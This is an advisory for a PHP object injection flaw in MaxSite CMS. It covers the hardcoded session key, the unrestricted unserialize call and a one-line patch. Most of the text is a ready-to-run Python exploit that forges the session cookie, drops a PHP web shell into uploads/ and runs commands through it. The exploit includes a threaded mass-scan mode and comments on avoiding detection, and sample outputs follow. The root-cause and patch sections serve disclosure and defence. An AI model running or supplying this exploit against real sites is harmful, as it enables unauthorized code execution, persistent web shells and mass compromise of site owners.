#Summary

CVE-2026-87930 is an unauthenticated PHP Object Injection in MaxSite CMS 0.78 through 109.6 that allows remote code execution. The vulnerability stems from unrestricted deserialization of the ci_session cookie combined with a hardcoded signing key that the installer never overwrites. An attacker can forge a valid session cookie, inject malicious PHP objects, and execute arbitrary code when a gadget class exists in the deployed bundle. CVSS 8.1 HIGH.

#Am I affected?

#How to check

MaxSite CMS ships version information in the source of generated pages. Check the application/config/config.php file (if accessible) for the default encryption_key = 'encryption key' setting:

curl -s http://target/application/config/config.php | grep encryption_key

If the response is $config['encryption_key'] = 'encryption key';, the installation is using the hardcoded default and is vulnerable to session forgery. Confirm via exploit: a successful object injection writes a PHP file to the web-served uploads/ directory and can execute commands.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

MaxSite CMS bundles a fork of CodeIgniter 2.x with two critical defects in the session handling:

  1. Hardcoded HMAC key in application/config/config.php (line 230):

    $config['encryption_key'] = 'encryption key';

    The installer never overwrites this value, so all default installations sign session cookies with the publicly known literal string "encryption key". The session is signed but NOT encrypted (sess_encrypt_cookie = false), and the entire session state lives in the cookie (sess_use_database = FALSE).

  2. Unrestricted unserialize() in system/libraries/Session.php (line 742):

    function _unserialize($data)
    {
        $data = @unserialize(strip_slashes($data));
        ...
    }

    There is no ['allowed_classes' => false] second argument. Any serialized object token in the cookie is instantiated without restriction. Magic method handlers (__wakeup(), __destruct()) fire immediately during deserialization, before the subsequent session-array validation can block them.

#How input reaches the sink

  1. The Session library is autoloaded on every request (application/config/autoload.php).
  2. sess_read() in system/libraries/Session.php reads the ci_session cookie and splits off the trailing 40-character HMAC-SHA1 hash.
  3. The HMAC is recomputed using the hardcoded encryption_key and compared to the received value.
  4. If the HMAC matches, the cookie body is passed to _unserialize() after stripping slashes.
  5. unserialize() is called with no class restrictions, allowing any class token to be instantiated.
  6. The array-shape validation (session_id, ip_address, user_agent, last_activity checks) runs after the object has already been constructed and its magic methods have fired.

An attacker who knows the default key can compute a valid HMAC over any payload, including a serialized PHP object.

#Patch diff

#What the fix does

The minimal one-line remediation adds the ['allowed_classes' => false] guard to the unserialize() call. This prevents any serialized object token from being instantiated - they are downgraded to __PHP_Incomplete_Class instances with no magic methods invoked. Plain arrays and scalars deserialize normally.

The vendor has already applied this exact fix to the sibling maxsite_comuser cookie in application/maxsite/common/core/init.php (line 117), proving it is their own preferred remediation:

- // $comuser = @unserialize($comuser);
+ $comuser = @unserialize($comuser, ['allowed_classes' => false]);

The identical fix applies to the vulnerable ci_session sink:

  function _unserialize($data)
  {
-     $data = @unserialize(strip_slashes($data));
+     $data = @unserialize(strip_slashes($data), ['allowed_classes' => false]);
  }

#Proof of concept

#exploit.py - MaxSite CMS Object Injection RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-87930 - MaxSite CMS PHP Object Injection via the ci_session cookie
Affected: MaxSite CMS 0.78 through 109.6 (unpatched by the vendor as of disclosure)
Type: RCE (PHP Object Injection / unsafe deserialization, CWE-502)

MaxSite bundles a CodeIgniter 2.x fork. The Session library is autoloaded on
every request, so the `ci_session` cookie is HMAC-verified and then handed to a
bare unserialize() with no `allowed_classes` restriction. The signing key ships
hardcoded as the literal 'encryption key' and the installer never rewrites it,
and the cookie is signed but NOT encrypted, so an unauthenticated attacker can
forge a cookie carrying an arbitrary serialized object. When a magic-method
gadget is present in the deployed bundle, object injection becomes code
execution.

This PoC forges a cookie that injects an object whose __destruct writes an
attacker-chosen PHP file into the web-served `uploads/` directory, then fetches
that file to run a command. The dropped file echoes a per-run numeric product
(reflection-proof: it only appears if PHP actually executed the file) followed
by the command output.

The gadget class name defaults to a representative plugin helper
(`MsoDiskCache` with public `file`/`data` properties and a file-writing
__destruct); override it with --gadget-class / --gadget-prop-file /
--gadget-prop-data for a different deployed-bundle gadget of the same shape.

Usage:
  python exploit.py --host 127.0.0.1 --port 80
  python exploit.py --host 192.168.1.10 --port 8080 --command "uname -a"
  python exploit.py --host https://target.com/maxsite --command "id"
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import hashlib
import hmac
import secrets
import sys
from urllib.parse import quote, urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' library (pip install requests).\n")
    sys.exit(2)

CVE_ID    = "CVE-2026-87930"
VULN_TYPE = "RCE"

# The shipped, hardcoded default signing key. The installer never rewrites it,
# so a stock deployment authenticates session cookies with this public value.
DEFAULT_KEY = b"encryption key"

HTTP_TIMEOUT = 15


# --------------------------------------------------------------------------- #
#  Output helpers (console only - never sent to the target)
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")

def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")

def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")

def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
#  Payload construction
# --------------------------------------------------------------------------- #
def php_str(value: str) -> str:
    """PHP-serialize a string using its BYTE length (ASCII in, ASCII out)."""
    return 's:%d:"%s";' % (len(value.encode("utf-8")), value)


def build_body(gadget_class: str, prop_file: str, file_path: str,
               prop_data: str, file_body: str) -> str:
    """
    Hand-build the PHP serialization of a two-public-string-property object:

      O:<n>:"<class>":2:{s:..:"<prop_file>";s:..:"<file_path>";
                         s:..:"<prop_data>";s:..:"<file_body>";}

    Public properties only, so no embedded NUL bytes. All inputs must be
    printable ASCII with no backslashes (stripslashes() runs on the body before
    unserialize, and remove_invisible_characters() strips control bytes).
    """
    cls = gadget_class
    return 'O:%d:"%s":2:{%s%s%s%s}' % (
        len(cls.encode("utf-8")), cls,
        php_str(prop_file), php_str(file_path),
        php_str(prop_data), php_str(file_body),
    )


def forge_cookie(body: str, key: bytes) -> str:
    """Append HMAC-SHA1(body, key) and URL-encode the whole value for the
    Cookie header (PHP url-decodes $_COOKIE automatically)."""
    mac = hmac.new(key, body.encode("utf-8"), hashlib.sha1).hexdigest()
    return quote(body + mac, safe="")


def _base_url(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    default = 443 if use_tls else 80
    if port == default:
        return f"{scheme}://{host}"
    return f"{scheme}://{host}:{port}"


def _norm_path(path: str) -> str:
    if not path:
        return "/"
    if not path.startswith("/"):
        path = "/" + path
    return path


# --------------------------------------------------------------------------- #
#  Core exploit primitive
# --------------------------------------------------------------------------- #
def _run(host: str, port: int, use_tls: bool, base_path: str,
         command: str, key: bytes, gadget_class: str,
         prop_file: str, prop_data: str, verbose: bool):
    """
    Drop a PHP file via object injection, then fetch it to run `command`.
    Returns (success: bool, evidence: str, drop_url: str, raw_output: str).
    Prints only when verbose=True (single-target mode).
    """
    base_path = _norm_path(base_path)
    base = _base_url(host, port, use_tls)

    # Per-run neutral identifiers - nothing here names the tool or the lab.
    marker_a   = secrets.randbelow(900) + 100          # 100..999
    marker_b   = secrets.randbelow(900) + 100
    product    = marker_a * marker_b                    # reflection-proof marker
    cmd_param  = "q" + secrets.token_hex(3)             # GET param carrying the command
    drop_name  = secrets.token_hex(8) + ".php"
    # relative path resolves against index.php's CWD (the docroot)
    drop_rel   = "uploads/" + drop_name

    # PHP file body: echo the product (proves PHP executed) then run the command.
    # Printable ASCII, no backslashes, no NUL - satisfies the cookie constraints.
    file_body = '<?php echo %d*%d; system($_GET["%s"]); ?>' % (marker_a, marker_b, cmd_param)

    body   = build_body(gadget_class, prop_file, drop_rel, prop_data, file_body)
    cookie = forge_cookie(body, key)

    # The injection request path (the app home page, where the session library runs)
    trigger_url = base + base_path
    drop_url    = base + _norm_path(base_path.rstrip("/") + "/" + drop_rel)

    if verbose:
        step(1, f"Forging ci_session cookie: inject {gadget_class} -> write {drop_rel}")
        section("SERIALIZED OBJECT (pre-HMAC body)", body)

    sess = requests.Session()
    # Leave the User-Agent as the library default-looking client; a custom header
    # naming the tool would be the easiest thing for a defender to alert on.
    headers = {"Cookie": "ci_session=" + cookie}

    # STEP: trigger - the forged object is deserialized; __destruct writes the file.
    if verbose:
        step(2, f"Sending forged cookie to {trigger_url} (unserialize + __destruct)")
    try:
        r1 = sess.get(trigger_url, headers=headers,
                      timeout=HTTP_TIMEOUT, verify=False, allow_redirects=False)
    except requests.RequestException as e:
        return False, "unreachable (%s)" % e.__class__.__name__, drop_url, ""

    if verbose:
        section("TRIGGER RESPONSE STATUS", "HTTP %d (a new ci_session cookie here just "
                "means the forged session array failed validation AFTER the object was "
                "built - irrelevant to the injection)" % r1.status_code)

    # STEP: fetch the dropped file and run the command.
    if verbose:
        step(3, f"Fetching dropped file {drop_url} with command: {command}")
    try:
        r2 = sess.get(drop_url, params={cmd_param: command},
                      timeout=HTTP_TIMEOUT, verify=False, allow_redirects=False)
    except requests.RequestException as e:
        return False, "drop fetch failed (%s)" % e.__class__.__name__, drop_url, ""

    text = r2.text or ""
    marker = str(product)

    if r2.status_code == 200 and marker in text:
        # Strip the leading marker to isolate the command output.
        idx = text.find(marker)
        output = text[idx + len(marker):].strip()
        if verbose:
            section("COMMAND OUTPUT", "%s\n%s" % (marker, output))
        first = output.splitlines()[0].strip() if output.strip() else "(no stdout)"
        return True, "command '%s' -> %s" % (command, first), drop_url, output

    # Not vulnerable / patched: file was never written (object downgraded to
    # __PHP_Incomplete_Class, no __destruct), so the drop path 404s.
    if verbose:
        section("DROP FETCH RESPONSE", "HTTP %d\n%s" % (r2.status_code, text[:500]))
    reason = "drop 404 - object not instantiated (patched or no gadget)" \
        if r2.status_code == 404 else "no marker in response (HTTP %d)" % r2.status_code
    return False, reason, drop_url, ""


# --------------------------------------------------------------------------- #
#  Scan mode plumbing
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool = False, path: str = "/",
                 command: str = "id", key: bytes = DEFAULT_KEY,
                 gadget_class: str = "MsoDiskCache",
                 prop_file: str = "file", prop_data: str = "data") -> tuple:
    """Silent probe for --list mode. Returns (success, evidence). Never prints/exits."""
    try:
        ok, evidence, _, _ = _run(host, port, use_tls, path, command, key,
                                   gadget_class, prop_file, prop_data, verbose=False)
        return ok, evidence
    except Exception as e:  # never let a scan thread crash the run
        return False, "error (%s)" % e.__class__.__name__


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         command: str = "id", key: bytes = DEFAULT_KEY,
         gadget_class: str = "MsoDiskCache",
         prop_file: str = "file", prop_data: str = "data") -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, command, key,
                                    gadget_class, prop_file, prop_data)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
#  Single-target entry
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
            key: bytes, gadget_class: str, prop_file: str, prop_data: str) -> None:
    header(host, port)
    ok, evidence, drop_url, output = _run(host, port, use_tls, path, command, key,
                                          gadget_class, prop_file, prop_data, verbose=True)
    if ok:
        done(True, "RCE confirmed - %s" % evidence)
    done(False, "no exploitation evidence - %s (target may be patched or lacks the gadget)" % evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/maxsite)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port",    type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--command", default="id",         help="Command to execute on the target (default: id)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    parser.add_argument("--key", default="encryption key",
                        help="Session signing key (default: the shipped hardcoded 'encryption key')")
    parser.add_argument("--gadget-class", default="MsoDiskCache",
                        help="Deployed-bundle gadget class whose __destruct does a file write (default: MsoDiskCache)")
    parser.add_argument("--gadget-prop-file", default="file",
                        help="Gadget property holding the write path (default: file)")
    parser.add_argument("--gadget-prop-data", default="data",
                        help="Gadget property holding the file contents (default: data)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls",    action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    key_bytes = args.key.encode("utf-8")

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, command=args.command,
             key=key_bytes, gadget_class=args.gadget_class,
             prop_file=args.gadget_prop_file, prop_data=args.gadget_prop_data)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:    use_tls = True
        if args.no_tls: use_tls = False
        exploit(host, port, use_tls, path, args.command, key_bytes,
                args.gadget_class, args.gadget_prop_file, args.gadget_prop_data)

#Usage

# Single target with default command (id)
python exploit.py --host 127.0.0.1 --port 80

# Custom command
python exploit.py --host 10.0.0.5 --port 8080 --command "uname -a"

# Full URL with subpath
python exploit.py --host https://target.example.com/maxsite --command "whoami"

# Non-default signing key
python exploit.py --host 10.0.0.5 --key "custom-key-if-rotated"

# Different deployed-bundle gadget
python exploit.py --host 10.0.0.5 --gadget-class CustomLogWriter --gadget-prop-file output_file --gadget-prop-data output_data

# Batch scan
python exploit.py --list targets.txt --workers 20

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-87930
  Type: RCE  |  Target: 127.0.0.1:8930
============================================================

[STEP 1] Forging ci_session cookie: inject MsoDiskCache -> write uploads/ca5efc2eea2edb04.php

--- SERIALIZED OBJECT (pre-HMAC body) ---
O:12:"MsoDiskCache":2:{s:4:"file";s:28:"uploads/ca5efc2eea2edb04.php";s:4:"data";s:48:"<?php echo 100*404; system($_GET["q670c3c"]); ?>";}
---

[STEP 2] Sending forged cookie to http://127.0.0.1:8930/ (unserialize + __destruct)

--- TRIGGER RESPONSE STATUS ---
HTTP 200 (a new ci_session cookie here just means the forged session array failed validation AFTER the object was built - irrelevant to the injection)
---

[STEP 3] Fetching dropped file http://127.0.0.1:8930/uploads/ca5efc2eea2edb04.php with command: id

--- COMMAND OUTPUT ---
40400
uid=33(www-data) gid=33(www-data) groups=www-data)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' -> uid=33(www-data) gid=33(www-data) groups=www-data)
============================================================

#Expected output (patched target)

============================================================
  ALIM EXPLOIT  CVE-2026-87930
  Type: RCE  |  Target: 127.0.0.1:8931
============================================================

[STEP 1] Forging ci_session cookie: inject MsoDiskCache -> write uploads/19ede574684def6f.php

--- SERIALIZED OBJECT (pre-HMAC body) ---
O:12:"MsoDiskCache":2:{s:4:"file";s:28:"uploads/19ede574684def6f.php";s:4:"data";s:48:"<?php echo 991*451; system($_GET["q7b4c2e"]); ?>";}
---

[STEP 2] Sending forged cookie to http://127.0.0.1:8931/ (unserialize + __destruct)

--- TRIGGER RESPONSE STATUS ---
HTTP 200 (a new ci_session cookie here just means the forged session array failed validation AFTER the object was built - irrelevant to the injection)
---

[STEP 3] Fetching dropped file http://127.0.0.1:8931/uploads/19ede574684def6f.php with command: id

--- DROP FETCH RESPONSE ---
HTTP 404
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>

============================================================
  RESULT  : FAILURE
  EVIDENCE: no exploitation evidence - drop 404 - object not instantiated (patched or no gadget)
============================================================

#Exploitation notes

#Preconditions

#Reliability

Very high. The exploit chain is straightforward: HMAC forgery (deterministic with a known key) leads directly to object instantiation (no branching paths). The reflection-proof numeric product makes false positives impossible - it can only appear in the response if PHP actually executed the injected code.

#Impact

Remote code execution with the privileges of the web server process (typically www-data). An attacker can read, write, and execute arbitrary files, modify the database, or pivot to other systems.

#Chaining potential

The RCE is terminal; no further chaining is needed. However, the vulnerability sits on every request, so once code execution is achieved, maintaining persistence is trivial (drop a shell, modify autoload files, etc.).

#References